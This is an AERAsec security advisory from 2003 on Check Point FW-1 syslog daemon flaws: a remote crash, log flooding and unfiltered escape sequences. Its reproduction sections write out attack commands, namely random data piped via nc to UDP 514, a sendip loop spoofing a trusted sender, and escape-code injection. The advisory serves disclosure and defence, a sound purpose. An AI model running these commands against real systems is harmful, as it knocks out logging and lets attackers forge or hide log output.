(P) & (C) 2003-2008 AERAsec Network Services and Security GmbH The information in this advisory may be freely distributed or reproduced, provided that the advisory is not modified in any way. URLs: http://www.aerasec.de/ http://www.aerasec.de/security/advisories/txt/checkpoint-fw1-ng-fp3-syslog-crash.txt http://www.aerasec.de/security/advisories/checkpoint-fw1-ng-fp3-syslog-crash.html http://www.aerasec.de/security/index.html?id=ae-200303-064 http://www.checkpoint.com/techsupport/ng/fp3_hotfix.html http://www.checkpoint.com/techsupport/alerts/syslog.html Contact: info at aerasec dot de Affected versions: * Check Point FW-1 NG FP3 (verified) * Check Point FW-1 NG FP2 (verified) * Check Point FW-1 4.1 SP6 (verified) Others, too (regarding to the Check Point advisory) Vulnerabilities: * Successful DoS from remote against syslog daemon of Check Point FW-1 NG before NG FP3 HF2, perhaps remote root exploit possible. * Log flodding from remote against the logging mechanism by using the syslog daemon of Check Point FW-1 4.1 * Syslog message containing escape sequences directed to syslog daemon of Check Point FW-1 up and including NG FP3 HF2 remain unfiltered and cause strange output behaviour if the log is viewed on console. History: 2003-01-17: syslog crash issue detected by Dr. Peter Bieringer of AERAsec while testing the new introduced syslog daemon feature in FP3 2003-01-17: create first internal summary 2003-01-17: information about the crash sent to vendor by e-mail 2003-01-20: extend summary to a full advisory 2003-01-23: inofficial confirmation that information was received by vendor 2003-01-24: official answer which confirms this issue 2003-01-28: cosmetic review of advisory 2003-02-28: detect problem with unfiltered console codes, notify vendor by e-mail (no response about that problem until now) 2003-03-14: add information about unfiltered console codes, review for publishing 2003-03-17: pre-final review 2003-03-20: Check Point posted an alert 2003-03-21: final review and official announcement 2003-03-21: add note about distribution of this advisory 2003-03-22: fix some typos 2003-03-26: minimal enhancement 2003-03-26: update affected versions (looks like all until NG FP3 HF2, not only since FP3). Reproduced now on NG FP2 2003-03-27: on 4.1 SP6 "fw log -tfnl" crashes, add information about log flodding capability add note that filter rules didn't help in case of sender address spoofing Note: the 2 month delay between notifying vendor and public release of this advisory was caused by an accepted request of the vendor for a delay to avoid breaking its already running QA cycle for HF2. Further information: Check Point VPN-1/FW-1 contains a syslog daemon (default: off) to redirect incoming syslog messages from remote (e.g. routers) to Check Point's SmartTracker logging mechanism. This syslog daemon can be crashed from remote and it will not start again auotmatically. Neither a watchdog service is detecting the crash nor an entry in the SmartView Tracker about a no longer available syslog daemon appears. Additionally it will print all chars received in a syslog message from remote without any modifications. This means, escape sequences are not filtered or e.g. expanded to their octal values in ASCII. ----------------------------------------------------------------------------- 1. Vulnerability: Successful DoS from remote against syslog daemon of Check Point FW-1 NG before NG FP3 HF2, perhaps remote root exploit possible. On 4.1 SP6 log flodding can be caused through the syslog daemon. Tested versions and platform: Check Point FW-1 NG FP3 (with or without HF1) Check Point FW-1 NG FP2 on platform: Red Hat Linux 7.3 running kernel 2.4.9-34 Check Point FW-1 4.1 SP6 on RHL 6.2 running kernel 2.2.24-6.2.3 FW-1 NG FP3: md5sum of binary [firewall]# md5sum /opt/CPfw1-50-03/bin/syslog 4eba3458cb05ed30dec6a75a17b0925a /opt/CPfw1-50-03/bin/syslog Contained in: [firewall]# rpm -qf /opt/CPfw1-50-03/bin/syslog CPfw1-50-03 With buildtime: [firewall]# rpm -q --queryformat "%{buildtime}\n" CPfw1 1032421147 (Thu 19 Sep 2002 09:39:07 AM MEST) Note: FP3-HF1 doesn't update this binary. FW-1 NG FP2 and below: Note that in NG before FP3, the syslog daemon was included in binary $FWDIR/bin/fw with main code in library $FWDIR/lib/libfw1.so Version 4.1 uses the an all-in-one binary $FWDIR/bin/fw Instruction how to crash the syslog daemon of Check Point FW-1 NG: Start syslog daemon by enabling in the firewall object (and run cpstop/cpstart afterwards) or by hand executing: FW-1 NG FP3: [firewall]# $FWDIR/bin/syslog 514 all Shutting down kernel logger: [ OK ] Shutting down system logger: [ OK ] Starting system logger: [ OK ] Starting kernel logger: [ OK ] Segmentation fault <- caused after receiving random syslog payload, see below FW-1 NG FP2 (and below): [firewall]# $FWDIR/bin/fw syslog 514 all Shutting down kernel logger: [ OK ] Shutting down system logger: [ OK ] Starting system logger: [ OK ] Starting kernel logger: [ OK ] Check for listening syslog daemon: [firewall]# netstat -lnptu |grep -w 514 udp 0 0 0.0.0.0:514 0.0.0.0:* $pid/syslog Note also that this daemon is running as "root": # ps -ux | grep -w syslog root $pid 0.0 6.8 148064 8612 ? S 12:17 0:00 syslog 514 all Send a valid syslog message from a remote host (here also a Linux system): [evilhost]# echo "<189>19: 00:01:04: Test" | nc -u firewall 514 Send random payload via syslog message from a remote host: [evilhost]# cat /dev/urandom | nc -u firewall 514 The previous started syslog daemon should crash after short time, use "netstat" to see whether a daemon is still listening on UDP port 514 Note: for a clean restart of Check Point's syslog daemon the firewall service needs to be restarted. Instruction how to flood the log via the syslog daemon of Check Point FW-1 4.1: Enable syslog daemon by running (router management license required) # fwstop # fwd -n [ CTRL-C] # fwstart (check process table for upper shown syslog "ghost" program) Send random payload like show above. Here now, the syslog program didn't crash, but all the log is accepted resulting in a flodding of the logging which makes log viewer unusable. There is no rate limiter built-in. Note also that the "fw -tfnl" command will crash after displaying some lines on the console (didn't happen in NG). Solutions to prevent the successful DoS attack against syslog service: - FW-1 NG: Upgrade to FP3 HF2 as soon as possible, see http://www.checkpoint.com/techsupport/ng/fp3_hotfix.html for more information (available since 14 March 2003). - FW-1 4.1: We currently didn't know about any fix for 4.1 - Customize your ruleset and accept syslog messages only from dedicated and trusted senders by the enforcement module Unfortunately, this didn't help if trusted senders and untrusted sources are located in the same network except MAC based filtering is done. It's possible to spoof the trusted sender IP address like e.g.: # dd if=/dev/urandom of=randomdata.txt count=512 bs=1 # while true; do sendip -is trusted-ip -p ipv4 -p udp -ud 514 -us 5000 ~ -f syslog.txt firewall-ip; done ----------------------------------------------------------------------------- 2. Vulnerability: Syslog messages containing escape sequences directed to syslog daemon of Check Point FW-1 up and including NG FP3 HF2 remain unfiltered and can cause strange output behaviour if log is viewed on console. Tested versions and platform: Check Point FW-1 NG FP3 (with or without HF1) Check Point FW-1 NG FP2 on platform: Red Hat Linux 7.3 running kernel 2.4.9-34 Check Point FW-1 4.1 SP6 on RHL 6.2 running kernel 2.2.24-6.2.3 Syslog message from network is not checked against non-printable characters, therefore if log is viewed on console, you can no longer trust the visual output at all. Instructions for demonstration: Enable receiving of syslog from remote by FW-1 like e.g. described above. View log on console by running following command: [firewall]# fw log -nfnl Send some special escape sequences via syslog, e.g. [evilhost]# echo -e "<189>19: 00:01:04: Test\a\033[2J\033[2;5m\033[1;31mHACKER~ ATTACK\033[2;25m\033[22;30m\033[3q" | nc -u firewall 514 Take a look at the console again, but don't be scared too much for now... Press CTRL-C and reset the console to standard by executing: [firewall]# reset Attackers might send a lot of "special" escape sequences, for Linux as destination see "man console_codes" for more. Note: standard syslog daemon on a RHL 7.3 system treats code like this as shown here: Mar 14 13:29:30 linuxbox 19: 00:01:04: Test^G^[[2J^[[2;5m^[[1;31mHACKER ATTACK ^[[2;25m^[[22;30m^[[3q Note: on FW-1 4.1 the "fw log -tfnl" can crash in some circumstances, see above. Solutions to prevent unfiltered console output: - Filter log output by using "tr" like: [firewall]# fw log -tfnl | tr '\000-\011\013-\037\200-\377' '*' (all chars with ASCII codes from decimal 0-31 and 128-255 except 10 for LF are replaced by an asterisk '*') - Update Check Point's syslog daemon to newer version once again, when available. - Improve ruleset as suggested above.